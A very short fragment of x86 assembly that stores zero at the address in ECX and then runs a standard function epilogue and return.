mov dword [ecx], 0
mov esp, ebp
pop ebp
ret